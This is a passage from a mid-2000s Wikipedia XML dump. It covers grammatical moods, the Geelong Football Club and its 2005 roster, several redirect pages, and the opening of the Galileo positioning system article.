* [[Grok Magazine]] '''Grok''' is Australia's biggest student magazine, with 10,000 copies per issue (6 issues per year) distributed on the Curtin Bentley campus in Western Australia - and to hundreds of street points across the Perth metro area. Grok is written and produced by Curtin University students and published by the Curtin Student Guild.
* [[Gestalt psychology]]

==External links==
* [http://www.ocf.berkeley.edu/~clgroks/page2.html Groks and the Vanguard of Science], essay from  [http://www.groks.net/ Berkeley Groks] science radio program
* [http://catb.org/~esr/jargon/html/G/grok.html Grok definition] in the [[Jargon File]]
* [http://en.wikiquote.org/wiki/Stranger_in_a_Strange_Land WikiQuote on Stranger in a Strange Land] includes many uses of ''grok''

[[Category:Science fiction themes]]
[[Category:Robert A. Heinlein]]

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      <text xml:space="preserve">{{linguistics}}

In [[linguistics]], many [[grammar]]s have the concept of '''grammatical mood''', which describes the relationship of a [[verb]] with reality and intent. Many languages express distinctions of mood through [[morphology (linguistics)|morphology]], by changing ([[Inflection|inflecting]]) the form of the verb. 

Because modern [[English language|English]] does not have all of the moods described below, and has a very simplified system of verb inflection as well, it is not straightforward to explain the moods in English. Note, too, that the exact sense of each mood differs from language to language.

Grammatical mood per se is not the same thing as [[grammatical tense]] or [[grammatical aspect]], although these concepts are conflated to some degree in many languages, including English and most other modern Indo-European languages, insofar as the same word patterns are used to express more than one of these concepts at the same time.

Currently identified moods include conditional, imperative, indicative, injunctive, negative, optative, potential, subjunctive, and more. [[Infinitive]] is a category apart from all these [[Finite verb|finite forms]], and so are [[gerund]]s and [[participle]]s. Some [[Uralic]] [[Samoyedic]] languages have over ten moods. The original [[Indo-European]] inventory of moods was indicative, subjunctive, optative, and imperative.  Not every Indo-European language has each of these moods, but the most conservative ones such as Ancient [[Greek language|Greek]], and [[Sanskrit]] have them all.

It should be noted that not all of the moods listed below are clearly conceptually distinct.  Individual terminology varies from language to language, and the coverage of (e.g.) the &quot;conditional&quot; mood in one language may largely overlap with that of the &quot;hypothetical&quot; or &quot;potential&quot; mood in another.  Even when two different moods exist in the same language, their respective usages may blur, or may be defined by syntactic rather than semantic criteria.  For example, the [[subjunctive mood|subjunctive]] and [[optative mood|optative]] moods in [[Ancient Greek]] alternate syntactically in many subordinate clauses, depending on the tense of the main verb.  The usage of the [[indicative]], subjunctive and [[jussive mood]]s in [[Classical Arabic]] is almost completely controlled by syntactic context; the only possible alternation in the same context is between indicative and jussive following the negative particle 'lā'.

==Admirative mood==
{{mergefrom|Renarrative mood}}

The '''admirative mood''' is used to express surprise, but also doubt, irony, sarcasm, etc.

In Indo-European languages, the admirative, unlike the optative, is not one of the original moods, but a later development. Admirative constructs occur in Balkan Slavic (Bulgarian and Macedonian), Albanian, Megleno-Romanian and Ukrainian Tosk Albanian. A form of the admirative, derived from the Albanian pattern, can be found in Frasheriote Arumanian. It seems that the dubitative/inferential patterns of Turkish - a non-Indo-European language - influenced Albanian and Balkan Slavic languages in this regard.

The admirative carries [[evidentiality|evidential]] value. Writing on the [http://www.summerschoolaltconference.it/ALT/Abstracts/Friedman.htm typology of evidentiality] in Balkan languages, [http://humanities.uchicago.edu/depts/slavic/friedman.html Victor Friedman ] says:

&quot;As grammaticalized in the Balkan languages, evidentiality encodes the speaker's evaluation of the narrated event, often, but not always, predicated upon the nature of the available evidence. These evidentials can be of two types: Confirmative (sometimes called 'witnessed') and nonconfirmative (sometimes called 'reported', 'inferential', and/or 'nonwitnessed'). The nonconfirmatives can, in Austin's terms, be felicitous (neutral) or infelicitous. Felicitous nonconfirmatives are used for reports, inferences, etc., for which the speaker chooses not to take responsibility. An infelicitous nonconfirmative expresses either acceptance of a previously unexpected state of affairs (surprise, i.e. something the speaker would not have been willing to confirm prior to discovery, the mirative or admirative) or sarcastic rejection of a previous statement (doubt, irony, etc., the dubitative).&quot;

''Ibid.'', &quot;Illustrative data (relevant forms are in slashes and interlinear glossing is omitted to save space, orthography is simplified for the internet):
[...]

*Toj /bil/ bogat!  (Macedonian, nonconfirmative past)
*O zengin/mish/! (Turkish, nonconfirmative past)
*Ai /qenka/ i pasur!  (Albanian, nonconfirmative present)
*He is rich! (to my surprise; nonconfirmative refers to discovery of pre-existing state)


*Ku /qenka/ mjeshtri?  (Albanian, nonconfirmative present)
*Kade /bil/ majstorot ? (Macedonian, nonconfirmative past)
*Usta neredey/mish/?  (Turkish, nonconfirmative past)
*Where is the boss? (I am surprised at his absence; Albanian can have true present meaning, Balkan Slavic/Turkish cannot)&quot;

Present and future tenses also exist for such a mood in the above-mentioned languages, but, with the exception of the Albanian ''true nonconfirmative present'' illustrated above, these &quot;nonconfirmatives, (from perfects), always have a past reference to either a real or a putative narrated event, speech event, or state of mind. They cannot be used with true nonpast reference.&quot; 

*&quot;Do t'u hapka një universitet privat&quot; (Albanian: A private University will be opened - apparently, i.e. as reported by someone &amp; to my surprise.)
*&quot;Varacak/mish/&quot; (Turkish: He will be arriving - as told by someone)

==Cohortative mood==

The '''[[cohortative mood]]''' is used to express plea, insistence, imploring, self-encouragement, wish, desire, intent, command, purpose or consequence. It does not exist in English, but phrases such as &quot;let us&quot; are often used to denote it.

== Conditional mood ==

The '''[[conditional mood]]''' is used to express a lack of certainty about whether the action ever occurs, particularly, but not exclusively, in conditional clauses. In [[English language|English]], the conditional is manifested by means of the modal auxiliary 'would' added to the bare infinitive, e.g. ''I would buy''. In other languages, such  as Spanish, it is expressed by means of morphological marking on the verb. So, the conditional of 'John eats' is, in English, 'John would eat' ('would' + bare infinitive of [[main verb]]) and, in Spanish, 'Juan comería' (infinitive ''comer'' ((to) eat)) + third-singular ''ía'').

Typically, it introduces [[subordinate clause]]s which are headed by a [[phrase]] roughly meaning 'on the condition that', such as 'if', 'as long as', etc., and these phrases can have their meaning intensified by items like 'even', as in 'even if'. A peculiarity in English and several related languages is that the  conditional mood occurs only in the main clause: the verb of the subordinate clause is marked for subjunctive modality.  This is unusual; in [[Finnish language|Finnish]], for example, the conditional mood is used both in the main and the subordinate clauses. An example in English with a conditional main clause and a subjunctive subordinate clause is: ''I &lt;u&gt;would buy&lt;/u&gt; a house if I &lt;u&gt;earned&lt;/u&gt; a lot of money'' (I might buy a house, if I earn a lot of money, but I do not and thus earning a lot of money is a condition for buying a house.) Compare Finnish, where the both clauses have a conditional marker (''-isi-''): ''Osta&lt;u&gt;isi&lt;/u&gt;n talon, jos ansaits&lt;u&gt;isi&lt;/u&gt;n paljon rahaa''.

The conditional mood does not express uncertainty; this is a distinct mood, the potential mood, which is expressed with the words &quot;probably&quot; or &quot;may&quot; in English. The conditional mood is sometimes erroneously called a tense rather than a mood. This practice should be avoided, as tense refers exclusively to temporal location, and therefore in no way does it involve conditions, desires, etc., which are all modal. However, despite this, [[linguistics]] tends to be the only area in which such discrimination takes place &amp;mdash; in foreign language courses, for example, non-temporal distinctions such as the conditional mood may be erroneously called 'tenses'.

==Dubitative mood==

The [[dubitative mood]] is used in [[Ojibwe language|Ojibwe]], [[Turkish language|Turkish]], and other languages.  It expresses the speaker's doubt or uncertainty about the event denoted by the verb. See [[irrealis moods]]. For example, in Ojibwe, ''Baawitigong igo ayaa noongom'' translates as &quot;he is in [[Sault Ste. Marie]] today.&quot; When the dubitative suffix ''-dig'' is added, this becomes ''Baawitigong igo ayaa&lt;u&gt;dig&lt;/u&gt; noongom'', &quot;I guess he must be in Sault Ste. Marie today.&quot; (modified from the example in the Ontario Curriculum Support Document for the Teaching of Language Patterns)

==Energetic mood==

Found in [[Classical Arabic]] and various other [[Semitic languages]], the [[energetic mood]] expresses something which is strongly believed or which the speaker wishes to emphasize, e.g. &quot;Ya-ktub-un&quot;. (&quot;He certainly writes.&quot;) 

==Eventive mood==

The '''eventive mood''' is used in the [[Finnish language|Finnish]] epic poem, [[Kalevala]]. It is a combination of the potential and the conditional. It is also used in dialects of [[Estonian language|Estonian]].
In Finnish, there are theoretically forms like this:
* 'kävelleisin' = 'I probably would walk'

== Generic mood ==

The '''[[generic mood]]''' is used to make generalizations about a particular class of things, e.g. in ''&quot;Rabbits are fast&quot;,'' one is speaking about rabbits ''in general'', rather than about particular fast rabbits. [[English language|English]] has no means of [[morphology (linguistics)|morphologically]] distinguishing generic mood from indicative mood, however the distinction can easily be understood in context by surrounding words.  Compare, for example: ''rabbits are fast'', versus, ''the rabbits are fast''.  Use of the word &quot;the&quot; implies specific, particular rabbits, whereas omitting the word &quot;the&quot; implies the generic mood simply by default.

[[Ancient Greek]] had a species of generic mood (the so-called ''[[gnomic]] utterance''), marked by the [[aorist]] indicative (normally reserved for statements about the past).  It was used especially to express philosophical truths about the world.

==Hypothetical mood==

The [[hypothetical mood]], found in [[Russian language|Russian]], [[Lakota]], and other languages, expresses a [[counterfactual]] but possible event or situation.

== Imperative mood ==

The '''imperative mood''' expresses commands, direct requests, and prohibitions. In many circumstances, directly using the imperative mood seems blunt or even rude, so it is often used with care. Example: &quot;Paul, read that book&quot;.

Many languages, including English, use the bare verb stem to form the imperative.  In English, second-person is implied by the imperative except when first-person plural is specified, as in &quot;Let's go.&quot;

== Indicative mood ==

The '''indicative mood''' is used in factual statements. All intentions in speaking that a particular language does not put into another mood use the indicative.  It is the most commonly used mood and is found in all languages. Example: &quot;Paul is reading books&quot; or &quot;Paul reads books&quot;.

Closely related is the '''declarative mood''' which indicates that the statement is true, without any qualifications being made. It is in many languages equivalent to the indicative mood, although sometimes distinctions between them are drawn.

== Interrogative mood ==

The '''[[interrogative mood]]''' is used for asking questions. Most languages do not have a special mood for asking questions, but [[Nenets language|Nenets]] does.

==Jussive mood==
The [[jussive mood]] is similar to the '''cohortative mood''', in that it expresses plea, insistence, imploring, self-encouragement, wish, desire, intent, command, purpose or consequence. In some languages, the two are distinguished in that cohortative occurs in the first person and the jussive in the second or third.

== Negative mood ==

The '''negative mood''' expresses a [[negation|negated]] action. In many languages, this is not distinct mood; negativity is expressed by adding a particle before (as in [[Russian language|Russian]] or [[Esperanto]]: &quot;Li '''ne''' iras.&quot;), after (as in archaic or dialectic [[English language|English]]: &quot;Thou remembrest '''not'''?&quot;), or both (as in [[French language|French]]: &quot;Je '''ne''' sais '''pas'''.&quot;.) Standard English brings in a helper verb, ''do'' usually, and then adds ''not'' after it: &quot;I '''did not''' go there&quot;.

In Indo-European languages, it is not customary to speak of a negative mood, since in these languages negation is originally a [[grammatical particle]] that can be applied to a verb in any of these moods.  In some non-Indo-European languages, the negative mood counts as a separate mood, an example of which is [[Japanese language|Japanese]], which conjugates verbs in the negative ''after'' the suffix ''-nai'' (indicating negation) has been added, e.g. tabeta (ate) and tabe'''naka'''tta (did not eat). 

It could be argued that [[Modern English]] has joined the ranks of these languages, since negation in the indicative mood requires the use of an [[auxiliary verb]] and a distinct [[syntax]] in most cases.  Contrast, for instance, &quot;He sing'''s'''&quot; -&gt; &quot;He '''doesn't''' sing&quot; (where the auxiliary ''to do'' has to be supplied, inflected to ''does'', and the clitic form of ''not'' suffixed to derive the negative from &quot;He sings&quot;) with &quot;Il chante&quot; -&gt; &quot;Il '''ne''' chante '''pas'''&quot;; [[French language|French]] adds the (discontinuous) negative particle ''ne...pas'', without changing the form of the verb.

== Optative mood ==

The '''optative mood''' expresses hopes, wishes or commands and has other uses that may overlap with the subjunctive mood. Few languages have an optative as a distinct mood; [[Albanian language|Albanian]], Ancient [[Greek language|Greek]], [[Sanskrit]], [[Japanese language|Japanese]], and [[Finnish language|Finnish]] are some that do.

In Finnish, the mood may be called an &quot;archaic&quot; or &quot;formal imperative&quot;, even if it has other uses; nevertheless, it does express formality at least. For example, 9th Article of the [[Universal Declaration of Human Rights]] begins with ''&lt;u&gt;Älköön&lt;/u&gt; ketään &lt;u&gt;pidätettäkö&lt;/u&gt; mielivaltaisesti'', &quot;&lt;u&gt;Not&lt;/u&gt; anyone &lt;u&gt;shall be arrested&lt;/u&gt; arbitrarily&quot;, where ''älköön pidätettäkö'' &quot;shall not be arrested&quot; is the optative of ''ei pidätetä'' &quot;is not arrested&quot;. (Also, using the conditional mood ''-isi-'' in conjunction with the clitic ''-pa'' yields an optative meaning, e.g. ''olisinpa'' &quot;if I only was&quot;. Here, it is evident that the wish is not, and probably will not be fulfilled.)

In Japanese the verb inflection ''-tai'' expresses the speaker's desire, e.g. ''watashi wa asoko ni ikitai'' &quot;I want to go there&quot;. Oddly enough, this verb form is treated as a pseudo-adjective: the auxiliary verb ''garu'' is used by dropping the end -i of an adjective to indicate the outward appearance of another's mental state, in this case the desire of a person other than the speaker (e.g. ''Jon-san wa tabetagatte imasu'' &quot;John wants to eat&quot;).

Sometimes this is called a &quot;desiderative mood&quot;, since it indicates desires. Occasionally distinctions are made between different optative moods, e.g. a mood to express hopes as opposed to a mood to express desires. (Desires are what we want to be the case; hope generally implies an optimism toward the chances of a desire's fulfillment. If someone desires something but is pessimistic about its chances of occurring, then one desires it but does not hope for it.)

==Potential mood==

The '''[[potential mood]]''' is a mood of probability, indicating that the action most likely, but not certainly, occurs. It is used in [[Finnish_language|Finnish]], [[Japanese language|Japanese]] and in [[Sanskrit|Sanskrit]].  (In Japanese it is often called something like '''tentative,''' since '''potential''' is used to refer to a [[grammatical_voice|voice]] indicating capability to perform the action.)

In Finnish, it is mostly a literary device, as it has virtually disappeared from daily spoken language in most dialects. Its suffix is ''-ne-'', as in *''men+ne+e'' &amp;rarr; ''mennee''  &quot;probably (s/he/it) will go&quot;. Some kinds of consonant clusters simplify to geminates. This simplification occurs progressively (*''rne &amp;rarr; rre'') with the resonant consonants L, R, and S, and regressively with stops (*''tne &amp;rarr; nne'') and is related to the violation of [[Phonotactics|phonotactical]] rules concerning [[sonority hierarchy]]. For example, ''korjata'' &amp;rarr; *''korjat+ne+t'' &amp;rarr; ''korjannet'' (&quot;probably you will fix&quot;), or ''tulla'' &amp;rarr; *''tul+ne+e'' &amp;rarr; ''tullee'' (&quot;probably s/he/it will come&quot;). The potential mood can be used only in present and perfect tenses. The verb ''ole-'' &quot;be&quot; is replaced by ''lie'', thus &quot;probably (it) is&quot; is ''lienee'' (not *''ollee''). Thus, in the perfect tense, which is formed with an auxiliary verb, the auxiliary verb ''lie'' is used instead of ''ole-'' as ''liene-'', e.g. ''lienet korjannut'' &quot;you probably have fixed&quot; (not *''ollet korjannut'').

In English, it is formed by means of the auxiliaries ''may'', ''can'', ''ought'' and ''must''.

== Presumptive mood ==

The [[presumptive mood]] is used in [[Romanian language|Romanian]] to express presupposition or hypothesis regarding the fact denoted by the verb, as well as other more or less similar attitudes: doubt, curiosity, concern, condition, indifference, inevitability. For example, &quot;Acolo s-o fi dus.&quot; (''He might have gone there'') shows the basic presupposition use, while the following excerpt from a poem of [[Eminescu]]

: &quot;De-o fi una, de-o fi alta... Ce e scris şi pentru noi, / Bucuroşi le-om duce toate, de e pace, de-i război.&quot;

: (''Be it one, be it the other... Whatever fate we have, / We will gladly go through all, be it peace or be it war.'')

shows the use both in a conditional clause (&quot;de-o fi&quot; ''suppose it is'') and in a main clause showing an attitude of submission to fate (&quot;le-om duce&quot; ''we would bear'').

== Subjunctive mood ==

The '''[[subjunctive mood]]''' has several uses in independent clauses.  Examples include discussing hypothetical or unlikely events, expressing opinions or emotions, or making polite requests (the exact scope is language-specific). A subjunctive mood exists in English, but appears to be falling out of common use; many native English speakers do not use it.  Example: &quot;I suggested that Paul read books&quot;. Paul is not in fact reading the book.  Contrast this with the sentence &quot;Paul reads books&quot;, where the verb ''read'' has the third person singular ending.  Another way, especially in [[British English]], of expressing this might be &quot;I suggested that Paul should read books.&quot;, derived from &quot;Paul should read books.&quot;  Other uses of the subjunctive in English, as in &quot;And '''if he be''' not able to bring a lamb, then he shall bring for his trespass...&quot; ([[King James Version|KJV]] [[Leviticus]] 5:7) have definitely become archaic.  Statements such as &quot;I will ensure that he leave immediately&quot; often sound archaic or overly formal, and have been almost completely supplanted by constructions like &quot;I will ensure that he leave'''s''' immediately&quot;; of course, one could easily argue that the subjunctive mood is not truly fading from use, but is simply becoming ''morphologically'' indistinguishible from the indicative mood while remaining ''contextually'' alive and well.

The subjunctive mood figures prominently in the grammar of the [[Romance languages]], which require this mood for certain types of dependent clauses. This point commonly causes difficulty for English speakers learning these languages.

In certain other languages, the [[dubitative mood]] is employed instead of the subjunctive in referring to doubtful or unlikely happenings and the like (see also below).

When said in other languages such as Spanish it is used as: tu pones esto alli or Uds. ponen este alli.

==External links==

SIL: (&quot;what is...?&quot;)

* [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsDeonticModality.htm deontic modality]
** [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsVolitiveModality.htm volitive modality]: ([http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsImprecativeMood.htm imprecative mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsOptativeMood.htm optative mood])
** [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsDirectiveModality.htm directive modality]: ([http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsDeliberativeMood.htm deliberative mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsImperativeMood.htm imperative mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsImmediateImperativeMood.htm immediate imperative mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsJussiveMood.htm jussive mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsObligativeMood.htm obligative mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsPermissiveMood.htm permissive mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsPrecativeMood.htm precative mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsProhibitiveMood.htm prohibitive mood])
* [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsEpistemicModality.htm epistemic modality]
** [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsJudgmentModality.htm judgment modality]: ([http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsAssumptiveMood.htm assumptive mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsDeclarativeMood.htm declarative mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsDeductiveMood.htm deductive mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsDubitativeMood.htm dubitative mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsHypotheticalMood.htm hypothetical mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsInterrogativeMood.htm interrogative mood], [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsSpeculativeMood.htm speculative mood])
* [http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsIrrealisModality.htm irrealis modality]: ([http://www.sil.org/linguistics/GlossaryOfLinguisticTerms/WhatIsSubjunctiveMood.htm subjunctive mood])

==Bibliography==

*[http://www.edu.gov.on.ca/eng/document/curricul/ojibwe.pdf Ontario Curriculum Support Document for the Teaching of Language Patterns: Ojibwe and Cree]

[[Category:Grammatical moods| ]]

[[cv:Наклонени]]
[[de:Modus (Grammatik)]]
[[es:Modo gramatical]]
[[eo:Gramatika modo]]
[[fr:Mode (grammaire)]]
[[gl:Modo gramatical]]
[[ja:法 (文法)]]
[[nn:Modus]]
[[pl:Tryb (gramatyka)]]
[[sl:Glagolski naklon]]
[[fi:Tapaluokka]]
[[sv:Modus]]
[[zh:语气]]</text>
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    <title>Gustation</title>
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      <contributor>
        <username>Bryan Derksen</username>
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      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Taste]]</text>
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    <title>Glasgow Rangers</title>
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      <id>15910649</id>
      <timestamp>2004-10-10T11:38:42Z</timestamp>
      <contributor>
        <username>Mintguy</username>
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      <minor />
      <comment>Reverted edit of 80.43.7.70, changed back to last version by RedWolf</comment>
      <text xml:space="preserve">#REDIRECT [[Rangers F.C.]]</text>
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    <title>Glasgow Celtic</title>
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      <id>15910650</id>
      <timestamp>2004-01-17T17:54:39Z</timestamp>
      <contributor>
        <username>Morwen</username>
        <id>17287</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Celtic F.C.]]</text>
    </revision>
  </page>
  <page>
    <title>Geelong Football Club</title>
    <id>13007</id>
    <revision>
      <id>42003320</id>
      <timestamp>2006-03-03T03:56:00Z</timestamp>
      <contributor>
        <ip>66.65.88.222</ip>
      </contributor>
      <comment>m</comment>
      <text xml:space="preserve">{{Infobox aus sport club | clubname = Geelong
| image = [[Image:Geelong_Football_Club.png|250px]]
| fullname = Geelong Football Club
| emblem = The Cats
| strip = Navy blue and white hooped guernsey, navy shorts, navy and white hooped socks
| founded = 1859
| sport = [[Australian rules football]]
| league = [[Australian Football League]]
| ground = [[Skilled Stadium]] 
| capacity = 27,000
| song = [[We Are Geelong]]
| president = [[Frank Costa]]&lt;BR&gt; [[Brian Cook (football administrator)|Brian Cook]] ([[CEO]])
| coach = [[Mark Thompson (footballer)|Mark Thompson]]
| season = 2005
| position = 5th of 16
}}The '''Geelong Football Club''', nicknamed '''The Cats''', is an [[Australian rules football]] club in the [[Australian Football League]]. The club is based in the city of [[Geelong, Victoria|Geelong]] at [[Skilled Stadium]]. They are the only current AFL team that is not based in a state capital city (although some may count the [[Fremantle Football Club|Fremantle Dockers]], and at one stage the [[Brisbane Bears]] were actually based on the [[Gold Coast, Australia|Gold Coast]]).
==History==
Geelong is the second oldest Australian rules football club (after the [[Melbourne Football Club]]), and ninth [[oldest football club]] in the world, having been formed in the Victoria Hotel in [[1859]]. Originally based at Corio Oval, Geelong moved to [[Skilled Stadium| Kardinia Park]] (now Skilled Stadium) in the [[1940s]]. For many years they were known as the '''Pivotonians''', after the city's nickname 'The Pivot', Seagulls was also an earlier nickname, with the dark blue and white striped uniform still worn today representing the blue water of Corio Bay and the white seagulls so frequent in the Bay. They were nicknamed the 'Cats' in 1923 after a run of losses prompted a local cartoonist to suggest that the club needed a black cat to bring it good luck. When one ran onto the ground in a match and Geelong won that match, breaking the losing streak, they decided that cats were indeed good luck.

Although being relatively strong performers throughout the 1980s and 1990s (Grand Final appearances in 1989, 1992, 1994 and 1995), the Cats have been unable to win a premiership since 1963. The club won the VFL/AFL premierships in: [[1925]], [[1931]], [[1937]], [[1951]], [[1952]] and [[1963]]. 

The current senior coach is Mark Thompson who is in his 7th year at the helm. The current captain is Steven King. The most recent Club Best and Fairest Winner (2005) was Joel Corey.

In 2004 the club made the finals for the first time in 4 years, finishing 4th. After this improvement 2005 looked to be a very promising year, but the team was plagued by injuries and inconsistent form and could only reach 5th spot. With a young but readily maturing list, the Cats will look to 2006 and again hope to be a genuine premiership contender.

Theme song: &quot;We are Geelong&quot; (sung to the tune of the ''Toreador's song'' from [[Carmen]]).

==Membership Base==
In 2005, the Geelong Football Club had 30,900 members, in excess of the [[seating capacity]] at Skilled Stadium, but less than the capacity of the Telstra Dome where some of the club's home matches are played.

==Individual Awards==

===[[Best and Fairest]]===
:See [[Carji Greeves Medal]]

===[[Brownlow Medal]] winners===
* [[1924]] - [[Edward 'Carji' Greeves]]
* [[1951]] - [[Bernie Smith]]
* [[1962]] - [[Alistair Lord]]
* [[1989]] - [[Paul Couch]]

===[[Leigh Matthews Trophy]] winners===
* [[1985]] - [[Greg Williams]]
* [[1993]] - [[Gary Ablett]]

===[[Coleman Medal]] winners===
* [[Noel Rayson]] (1955)
* [[Doug Wade]] (1962, 1967, 1969)
* [[Larry Donohue]] (1976)
* [[Gary Ablett]] (1993, 1994, 1995)

===[[Norm Smith Medal]] winners===
* [[Gary Ablett]] (1989)

===[[Mark of the Year]] winners===
* [[Gary Ablett]] (1994)

==Team of the Century==

{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;center&quot;
| '''Backs:''' || [[Bernie Smith]] || [[George Todd]] || [[Sam Newman|John 'Sam' Newman]]
|-
| '''Half Backs:''' || [[Dick Grigg]] || [[Reg Hickey]] || [[Joe Slater]]
|-
| '''Centres:''' || [[Michael Turner]] || [[Edward 'Carji' Greeves]] || [[Leo Turner]]
|-
| '''Half Forwards:''' || [[Gary Ablett]] || [[Fred Flanagan]] || [[Bob Davis]]
|-
| '''Forwards:''' || [[Henry Young (AFL)|Henry Young]] || [[Doug Wade]] || [[Peter Pianto]]
|-
| '''Followers:''' || [[Graham Farmer|Graeme 'Polly' Farmer &amp;nbsp;]] || [[Garry Hocking]] || [[Bill Goggin]]
|-
| '''Interchange:''' || [[David E. Clarke|David Clarke]] || [[Paul Couch]] || [[Alec Eason]] || [[Les Hardiman]] 
|-
| '''Emergencies:''' || [[Ian Nankervis]] || [[Jack Collins]] || [[Tom Quinn]] || [[Cliff Rankin]]
|}

==Current roster==
''As of [[December 13]], [[2005]]:''
{|
|valign=&quot;top&quot;|
*&amp;nbsp;&amp;nbsp;1 [[Steven King (footballer)|Steven King]]
*&amp;nbsp;&amp;nbsp;2 [[Tom Harley]]
*&amp;nbsp;&amp;nbsp;3 [[Jimmy Bartel]]
*&amp;nbsp;&amp;nbsp;4 [[Andrew Mackie]]
*&amp;nbsp;&amp;nbsp;5 [[Travis Varcoe]]
*&amp;nbsp;&amp;nbsp;6 [[Brad Ottens]]
*&amp;nbsp;&amp;nbsp;7 [[Tim Callan]]
*&amp;nbsp;&amp;nbsp;8 [[Josh Hunt]]
*&amp;nbsp;&amp;nbsp;9 [[James Kelly (AFL)|James Kelly]]
* 10 [[Kane Tenace]]
* 11 [[Joel Corey]]
* 12 [[Trent West]]
* 13 [[Tom Lonergan (AFL footballer)|Tom Lonergan]]
* 14 [[Paul Koulouriotis]]
* 15 [[Peter Riccardi]]
* 16 [[Charlie Gardiner (footballer)|Charlie Gardiner]]
* 17 [[Shannon Byrnes]]
* 18 [[Kent Kingsley]]
* 19 [[Matthew Egan]]
* 20 [[Steve Johnson (AFL)|Steve Johnson]]
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
* 21 [[Cameron Mooney]]
* 22 [[Henry Playfair]]
* 23 [[Nathan Ablett]]
* 24 [[Mark Blake]]
* 25 [[Matthew Spencer]]
* 26 [[Matthew McCarthy]]
* 27 [[Mathew Stokes]]
* 28 [[David Johnson (Australian rules footballer)|David Johnson]]
* 29 [[Gary Ablett Jr.]]
* 30 [[Matthew Scarlett]]
* 31 [[Stephen Owen (AFL footballer|Stephen Owen]]
* 32 [[Brent Prismall]]
* 33 [[Jarad Rooke]]
* 34 [[Ryan Gamble]]
* 35 [[Paul Chapman]]
* 36 [[Todd Grima]] (rookie list)
* 37 [[Will Slade]] (rookie list)
* 38 [[Sam Hunt (footballer)|Sam Hunt]] (rookie list)
* 39 [[Darren Milburn]]
* 40 [[David Wojcinski]]
* 41 [[Tim Sheringham]] (rookie list)
* 42 [[Nick Batchelor]] (rookie list)
* 44 [[Corey Enright]]
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
* 45 [[Cameron Ling]]
|}
*[[:Category:Geelong Cats players|Listing of past and present Geelong players]]
*To see full profiles [http://gfc.com.au/default.asp?pg=players&amp;spg=seniorlist click here]

''See also
*[[Geelong Football Club 2004 roster]].
*[[Geelong Football Club 1999 roster]].''

==Notable players==

* [[Gary Ablett]]
* [[Bob Davis]]
* [[Damian Drum]], player, coach and politician
* [[Graham Farmer|Graham 'Polly' Farmer]]
* [[Bill Goggin]]
* [[Ben Graham (football)|Ben Graham]]
* [[Reg Hickey]]
* [[Garry Hocking|Garry 'Buddha' Hocking]] 
* [[Ian Nankervis]]
* [[John 'Sammy' Newman]]
* [[Bernie Smith]]
* [[Doug Wade]]

==Famous Fans==
* [[Guy Pearce]]
* [[Douglas Wood]]
* [[Steve Bracks]]

==External links==

*[http://www.gfc.com.au/ Official Website of the Geelong Football Club]
*[http://afl.com.au/ Official Website of the Australian Football League]
*[http://geelong.keldar.net/ The Cattery - Unofficial Geelong Football Club Website]
*[http://p209.ezboard.com/bgeelongcatsmessageboard Cats Claw - Unofficial Messageboard]

{{AFL}}
[[Category:Australian Football League clubs]]
[[Category:Victorian Football League]]
[[Category:Geelong]]
[[Category:Sport in Victoria]]

[[fr:Geelong Cats]]</text>
    </revision>
  </page>
  <page>
    <title>Galileo positioning system</title>
    <id>13009</id>
    <revision>
      <id>41979066</id>
      <timestamp>2006-03-03T00:35:46Z</timestamp>
      <contributor>
        <ip>24.16.66.1</ip>
      </contributor>
      <text xml:space="preserve">The '''Galileo''' positioning system is a proposed [[satellite navigation system]], to be built by the [[European Union]] (EU) as an alternative to the US military-controlled [[Global Positioning System]] and the Russian [[GLONASS]]. The system should be operational by [[2010]], two years later than originally anticipated. 

It is named after the Italian astronomer [[Galileo Galilei]].
The Galileo positioning system is not abbreviated to GPS; use of the acronym &quot;''GPS''&quot;, here and elsewhere, refers to the existing United States system.

Galileo is intended to provide:
* Greater precision to all users than is currently available.
* Improved coverage of satellite signals at higher latitudes, which northern regions such as [[Scandinavia]] will benefit from.
* A global positioning system that can be relied upon, even in times of war.

== History ==

The first stage of the Galileo program was agreed upon officially on [[May 26]], [[2003]] by the [[European Union]] and the [[European Space Agency]] (ESA). In 1999 the different concepts (from Germany, France, Italy and The United Kingdom) for Galileo were compared and reduced to one by a joint team of engineers from all four countries. The system is intended primarily for civilian use, unlike the US system, which is run by and primarily for the US military. The US reserves the right to limit the signal strength or accuracy of the GPS systems, or to shut down public GPS access completely, so that non-military users cannot use it in time of conflict. The precision of the signal available to non-military users was limited before [[2000]] (a process known as ''selective availability''). The European system will not be subject to shutdown for military purposes (though it may still be [[jamming|jammed]] by anyone with the right equipment), will provide a significant improvement to the signal available from GPS, and will, upon completion, be available at its full precision to all users, both civil and military.

